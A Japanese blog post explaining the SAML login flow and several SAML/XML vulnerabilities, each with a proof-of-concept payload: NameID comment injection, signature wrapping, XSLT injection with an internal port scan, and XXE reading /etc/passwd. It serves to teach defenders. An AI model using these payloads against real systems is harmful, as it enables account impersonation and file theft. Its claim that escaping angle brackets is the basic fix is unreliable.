Single Sign On

【セキュリティ】SAML認証って安全なの?SAMLに関する脆弱性の紹介と対策

投稿日: カテゴリー: セキュリティ
Pocket

SAML認証とは

SAMLはCookieでは実現が困難な異なるシステム間で認証を統一するために誕生した経緯もありSSOなどの認証でよく利用されます。最近ではより軽い処理で実装できるOpenIDConnectを採用するケースも多くなっています。
 
SAMLとはOASIS(Organization for the Advancement of Structured Information Standards)がシングルサインオンやID連携に利用するために定めた XML によるフレームワークのことです。SAMLはそのフレームワークを認証の実装に応用したものです。

さてセキュリティを考えるためには、本来の利用原理を理解し悪用に転ずる必要があります。まずはSAMLの処理の流れを理解していきましょう。

SAMLの認証の流れ

SAMLの認証の流れは以下の通りです。

  1. ユーザーはシングルサイン先であるSP(Service Provider)に対しアクセスを試みる
  2. ユーザーはSP(Service Provider)に対して未認証のため、SP(Service Provider)はシングルサイン元であるシングルサイン元となるIdp(Identity Provider)にAuthnRequestを送信する(リダイレクト302)
  3. Idp(Identity Provider)はユーザーの認証状況を確認する。未認証なら認証を促すため認証ページに突き返し、認証済みの場合は次のステップへ進む
  4. Idp(Identity Provider)はユーザーの認証情報をSAMLResponse(Idp(Identity Provider)の秘密鍵で署名する)として
  5. シングルサイン先であるSP(Service Provider)に送信する(リダイレクト)
  6. シングルサイン先であるSP(Service Provider)はSAMLResponseをIdp(Identity Providerの公開鍵で検証する
  7. SP(Service Provider)はSAMLResponseに含まれる認証情報を基にSP(Service Provider)側の紐づくアカウントで認証したことにする
  8. SP(Service Provider)にアクセスが許可され、利用を開始できるようになる

OAuthとSAMLの違い

OAuthとSAMLを混同しているケースがよくあるので復習しておきましょう。
OAuthはHTTP上で「認可」を行うためのプロトコルである一方、SAMLは「認証」と「認可」を行うためのプロトコルとなっている点が異なります。この「認証」と「認可」を含んでいるが故、制御の実装不備が突かれることでXML Signature Wrapping(XSW)攻撃などが成立してしまいます。

SAMLの脆弱性の紹介

それではSAMLに関連のある脆弱性を紹介していきます。SAML固有の脆弱性だけでなくXML関連の脆弱性が発生しうることが判るはずです。そうです。基本的な対策はタグ文字「<」「>」を変換してエスケープすることです。

CVE-2017-11427 -CVE-2017-11430 Multiple SAML libraries may allow authentication bypass via incorrect XML canonicalization and DOM traversal

python-saml,ruby-saml,Clever’s “saml2-js,OmniAuth-SAMLのSAML ライブラリで
アクセス権を持つ攻撃者に悪用された場合SAMLサービスプロバイダーの認証をかわされて異なるユーザーまたは特権アカウントを偽装されてしまう可能性があるという脆弱性です。SAMLプロトコル自体の問題ではありません。具体的にはNameIDを詐称し他人で入れてしまうというものです。
SAMLResponseにはPoCをBase64エンコードして挿入する必要があります。

POC
<SAMLResponse>
<Issuer>https://idp.com/</Issuer>
<Assertion ID=”_id1234″>
<Subject>
<NameID>hogehoge@hogehoge.com<!—->.evil.com</NameID>
</Subject>
</Assertion>
<Signature>
<SignedInfo>
<CanonicalizationMethod Algorithm=”xml-c14n11″/>
<Reference URI=”#_id1234″/>
</SignedInfo>
<SignatureValue>
some base64 data that represents the signature of the assertion
</SignatureValue>
</Signature>
</SAMLResponse>

対策は以下の2ステップです。
ステップ1 実態参照文字に変換しエスケープ処理を行う
< → &lt;
> → &gt;
ステップ2 Eメールに正規化できない文字列は受け付けない処理とする

XML Signature Wrapping Attacks

SSO VerificatorとSSO Processorの分離を悪用した攻撃です。SSO Verificatorのユーザと別のSSO Processorに改ざんします。具体的には他のユーザーのIDなどを書き換え

POC5
<SAMLResponse>
<Forged Assertion ID=attackerID>
<Subject>Attacker</Subject>
</Forged Assertion>
<Legitimate Assertion ID=legitimate>
<Subject>XML Signature Wrapping Attacks</Subject>
<Signature of the Legitimate Assertion>
<Reference Reference URI=legitimate>
</Reference>
</Signature of the Legitimate Assertion>
</Legitimate Assertion>
</SAMLResponse>

XSLT Server Side Injection Attacks

PoC
<?xml version=“1.0” encoding=“utf-8”?>
<xsl:stylesheet version=“1.0” xmlns:xsl=“http://www.w3.org/1999/XSL/Transform”>
<xsl:template match=“/attack”>
<xsl:value-of select=“system-property(‘xsl:vendor’)”/>
</xsl:template>
</xsl:stylesheet>

これでMicrosoftなどベンダー名がレスポンスされたら脆弱と判断できます。次のようにポートスキャンすることも可能です。

PoC
<?xml version=“1.0” encoding=“utf-8”?>
<xsl:stylesheet version=“1.0” xmlns:xsl=“http://www.w3.org/1999/XSL/Transform”>
<xsl:template match=“/attack”>
<xsl:copy-of select=“document(‘http://192.168.1.1:445’)”/>
List:

<xsl:for-each select=“attack”>
<xsl:value-of select=“name”/>: <xsl:value-of select=“description”/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet></h5>

XML External Entity(XXE)攻撃

XXEは実体宣言可能なDTD(Document Type Definition)というXMLの構造を定義と実体参照を悪用した脆弱性です。

PoC
<?xml version=”1.0″ encoding=”utf-8″ ?>
<!DOCTYPE foo [
<!ENTITY attack SYSTEM “/etc/passwd”>
]>
<user>
<name>ATTACKER</name>
<address>&attack;</address>
</user>

/etc/passwdの内容がレスポンスされれば脆弱です。

以上です。参考になれば幸いです。